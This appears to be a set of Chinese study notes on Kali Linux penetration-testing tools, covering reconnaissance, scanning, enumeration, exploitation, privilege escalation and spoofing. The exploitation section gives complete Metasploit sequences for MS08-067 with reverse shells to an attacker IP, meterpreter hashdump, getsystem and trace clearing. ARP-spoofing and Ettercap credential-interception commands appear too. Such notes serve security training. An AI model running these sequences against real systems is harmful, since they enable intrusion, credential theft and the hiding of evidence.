Kali-Linux使用
一。常用工具
(1)信息搜集
1.whois库
whois baidu.com
通过域名,获取DNS服务器,域名注册人的联系方式
2.host
host www.baidu.com
通过DNS地址,获取服务器ip地址
3.dnsenum
dnsenum baidu.com
获取主机IP地址
该域DNS服务器
该域MX记录
C类网段进行whois查询,计算网络范围
对网段进行反向查询
多线程进行并发查询
4.fierce
fierce --domain baidu.com
fierce -h #帮助信息
DNS枚举工具查找IP地址,主机名
5.dmitry
dmitry -iwnse baidu.com
1.进行whois查询
2.从Netcraft网站收集相关信息
3.搜索可能子域
4.搜索可能电子邮件地址
dmitry -p baidu.com -f -b
进行简单的端口扫描
Port State
80/tcp open
6.maltego
需要key
7.tcptraceroute
使用TCP握手进行,获取路由信息
而traceroute用UDP进行获取路由信息
8.theHarvester
theHarvester -d baidu.com -l 100 -b linkedin
通过数据挖掘爬取各大网站关于目标网站的信息
包括email,主机名
(2)目标识别
鉴定目标机器安装操作系统
1.ping
检查主机是否在线,发送ICMP协议的request包,目标主机回复reply包,
选项:-c count 发送数据包数量
-l interface address 源地址或网络接口 IP地址或网卡(eth0)
-s size
2.arping
arping 192.168.194.129 -c 2
无法通过路由器,网关
只能在局域网判断某MAC地址的主机是否在线
可以使用wireshark观察arping运行期间网络数据
echo $?
如果返回1,则说明IP已经被占用,返回0 IP没被占用
3.hping3
测试防火墙
入侵检测系统IDS
测试TCP/IP安全漏洞
hping3 -1 192.168.194.129 -c 1
4.nping
可探测多个主机的多个端口
包括TCP,UDP.ICMP和ARP
nping --tcp -c 1 -p 22 192.168.194.129
常规开发端口:21,222,23,25,80,443,8443
5.alive6
在局域网中查找IPv6主机
alive6 -p eth0
如果不希望其他主机探测到你,可以屏蔽该请求
ip6tables -A INPUT -p ipv6 -icmp -type 128 -j DROP
6.detect-new-ip6
可以在IPV6的网络检测到新加入的主机
detect-new-ip6 eth0
7.passive_discovery6
通过网络监听找到主机ipv6,可以避免被IDS检测出来
监听过程中,筛选ARP请求和ARP回复,进行分析
passive_discovery eth0
8.nbtscan
如果内网渗透测试审计Window系统,获取主机NetBios信息
可以获取,主机IP,NetBios计算机名,可用服务,登录用户名,
MAC地址。
nbtscan 192.168.1.1-254
查看可用服务
nbtscan -hv 192.168.1.1-254
如:workstation(工作站),File Server(文件服务器),Messenger
9.p0f
采用被动方式,探测目标主机操作系统类型
1)连接到您主机的机器,SYN
2)主机可访问的机器,SYN+ACK
- 可以检测到其网络通信的机器
p0f -o p0f.log
开启后,访问目标主机,(浏览文件,网页),识别信息记录p0f.log和屏幕上。
*10Nmap
主动式操作系统指纹识别,和端口扫描
nmap -O 192.168.194.129
原理:1.TCP连接扫描,三次握手完整,判断为开发端口,速度慢,会被目标主机记录,需要启动级别不高
2.SYN扫描,发送SYN进行端口探测,根据回复确定。速度快,隐蔽性好
-
UDP扫描,由于Linux内核限制,速度慢,一般扫描常见端口 53(DNS), 161(SNMP)
nmap -sU 192.169.194.129 -p 53,161
导出成xml文件
nmap 192.168.194.129 -oX myscan.xml
其他选项:1. 服务版本识别 -sV
2.操作系统识别 -O
3.脚本扫描 -sC
11.NSE
脚本引擎
常见脚本
-
discovery 用于探索网络
-
dos 可能使目标系统拒绝服务
-
exploit 利用目标系统安全漏洞,需要取得目标许可
-
external 该类脚本可能泄露信息给第三方
-
fuzzer 用于对目标系统进行模糊测试
-
instrusive 可能导致目标系统崩溃,或耗尽其所有资源
-
malware 检查目标系统上是否存在恶意软件和后门
-
safe 不会导致目标崩溃,拒绝服务,也不利用漏洞
-
version 配合版本检测选项(-sV),对目标系统进行深入版本检测
-
vuin 检测目标系统的安全漏洞
在kali中Nmap脚本位于/usr/share/nmap/scripts
使用默认脚本
-
nmap -sC 192.168.194.129
使用特定脚本,分析
nmap --script http-enum,http-headers,http-methods,http-php-version -p 80 192.168.194.129
http服务相关脚本文件
规避检测:
-f 使用小数据包
-mtu 调整包大小
-D 诱饵
(2)服务枚举
1.tcpdump
数据包捕获,开启后,使用Nmap查看发生和接收数据
tcpdump -nnX tcp and host 192.168.194.128
nmap -O 192.168.194.129
2.zenmap
nmap的图形化工具
有10种预设的扫描配置文件,也可以自己编辑配置文件
3.Amap
可以检测指定端口应用程序信息。
Amap配置文件/usr/etc/appdefs.trig
amp -bp 192.168.194.129 22
分析目标主机22端口应用程序
-b 获取端口banner信息
-q 禁止程序报告关闭端口
4.SMB枚举
如nbtscan
nbtscan 192.168.194.1-254
nbtscan -hv 192.168.194.129
5.SNMP枚举
onesixtyone,用于确定是否支持某些特定SNMP字符串
安装snmp服务端
apt-get install snmpd
vi /etc/default/snmpd
/etc/init.d/snmpd restart
onesixtyone 192.168.194.129
6.VPN枚举
虚拟专用网络,像本地局域网一样使用
- 基于IPSec技术的VPN:分支机构需要网关安装IPSec vpn客户端,总部也安装IPSec服务器,
- OpenVPN
- 基于SSL技术的VPN:客户端电脑支持SSL连接的Web,VPN就可以通过浏览器连接VPN服务器。
ike-scan 是探测,识别IPSecVpn系统的安全工具,可识别VPN服务厂商和型号。
ike-scan -M -A -P ike -hashkey 192.168.0.10
-M 将payload解码信息分多行
-A 使用IKE的aggressive mode
-P 将aggressive mode预共享密钥的哈希值保存为文件
(3)漏洞映射
1.OpenVAS
2.Cisco分析工具
Cicso顶级网络设备商,路由器,交换机,安全设备,无线产品。
1)Cisco Auditing Tool (CAT)
检测Cisco路由器常见漏洞,发现注入默认莫玛,SNMP字符串,老版本IOS存在bug问题
3.Fuzz(模糊)分析工具
测试意外数据,无效数据,随机数据输入对应用程序的影响
可能发现漏洞:缓冲区溢出,格式化字符串,代码注入,迷途指针,竞争条件,
拒绝服务条件
1)BED 是纯文本协议模糊测试工具,
2)JBroFuzz 可以使用payload数据库,对Web应用进行模糊测试
4.SMB分析工具
SMB 是应用层协议,用于文件和打印机共享,还可将网络不同节点串口服务和其他通信协议共享.
samrdump是获取主机敏感信息工具 ,通过DCE/RPC调用SAM,远程接口,获取信息.
5.SNMP分析工具
SNMP协议主要用于网络设备运行状态的监控,
snmpwalk
snmpwalk -v 2c -c public -O T -L f snmpwalk.txt 10.20.127.49
6.Web分析工具
Web应用测试,数据库测试
Burp Suite
Nikto2
nikto -h testphp.example.com -p 80 -T 3478b -t 3 -D \ V -o webtest –F
Paros Proxy 爬虫进行分析网址,进行楼东侧是
7.数据库评估工具
MS-SQL,MySQL,Oracle
1.SQL Map
2.sqlninja
(4)社会工程学
冒名顶替:制造网页,E-mial
投桃报李: 利益交换
狐假虎威:冒名高层
用利益诱惑,信息提交,小礼品
社会关系
settoolkit :发送恶意PDF,通过E-mail发送
(5) 漏洞利用
1.使用msfconsole框架
1.初始化后端服务器
service postgresql status
service postgresql start
service postgresql status
msfdb init
2.进入msf,使用nmap端口扫描
load db_tracker
db_nmap -T Aggressive -sV -n -O -v 192.168.194.129
识别目标IP开发端口,服务,服务程序版本,操作系统,MAC地址等信息
-
使用auxiliary辅助脚本
snmp,找到可以受理团体字符串public,只读,可以获得各种有用信息
search snmp use auxiliary/scanner/snmp/community show options set RHOSTS 192.168.194.0/24 set THREADS 3 set BATCHSIZE 10 run
VNC空密码扫描
search vnc use auxiliary/scanner/vnc/vnc_none_auth show options set RHOSTS 10.4.124.0/24 run
IIS6 webDAV Unicode 身份验证旁路漏洞
4.漏洞利用脚本payload (bind,reverse,meterpreter shell)
bind shell
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.194.129
set PAYLOAD windows/shell/bind_tcp
set target=34 #目标主机操作系统的序号
exploit
reverse shell
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.0.7
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.0.3 #攻击者IP
exploit
metepreter 先进,隐蔽,多功能,可扩展的payload,可向目标主机注入DLL
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.0.7
show payloads
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.0.3
exploit
在meterpreter中方便查看用户账户和提权
getuid
use priv
getsystem -h
sysinfo
获取被测主机系统账号和密码,window,以NTLM哈希保存用户账户信息 meterpreter>
run hashdump
getuid
ps
migrate 3172
清楚痕迹 Meterpreter shell中
getgui/clean_up
(6)提升权限
分类,纵向提权,横向提权。
方法;利用本地漏洞
目标系统上配置缺陷:home目标可以被其他用户访问,可以用SSH私钥访问其他主机
利用目标系统弱密码
嗅探网络流量捕获他人用户名和密码
伪造网络数据包
-
本地漏洞
-
弱密码,通过SQL注入得到hash的密码,
首先确定hash算法 ,通过hash-identifier指令
通过hashcat程序破解密码,或者oclhashcat-plus,RainbowCrack
(7)欺骗工具
1.DNSChef
DNS代理工具,替DNS对被测主机进行DNS回复,用来分析甚至控制客户主机的网络流量。
使用之前,修改被测主机配置。Linux /etc/resolv.conf
windows,控制版面,网络连接进行。
如果没有权限更改DNS服务器设置,可以使用ARP欺骗,搭建一个伪DHCP服务器,劫持DNS请求。
2.arpspoof
用于伪造网络中两台设备的ARP通信。
arpspoof -t 192.168.65.129 192.168.65.1
前面是被测主机,后面一般为网关,或其他用户主机
3.Ettercap
在局域网工具的工具集,通过ARP工具充当通信中间人,
- 可以修改数据链接
- 截获FTP,HTTP,POP和SSH1等协议的密码。
- 通过伪造SSL证书,劫持被测主机HTTP会话。
文本模式启动
ettercap -T
仿图形模式
ettercap -C
图形模式
ettercap -G
4.dsniff
网络嗅探器
dsniff -i eth0 -m
-i 监听eth0网卡
-m 用于启动程序的自动检测功能
5.tcpdump
捕获符合条件表达式的网络数据包
tcpdump -i eth0 -s 96
-s size 为96(字节)
tcpdump -n -t -X -i eth0 -s 64 icmp and src 192.168.194.129 and dst 192.168.194.128
捕获从192.168.194.129到192.168.194.128的64字节
不需要打印时间戳(-t)
不需要地址改为主机名(-n)
用十六进制和ASCII格式打印包头和数据
*6.wireshark
在Filter栏设置过滤规则
可以调整网卡,size,捕获规则,保持数据等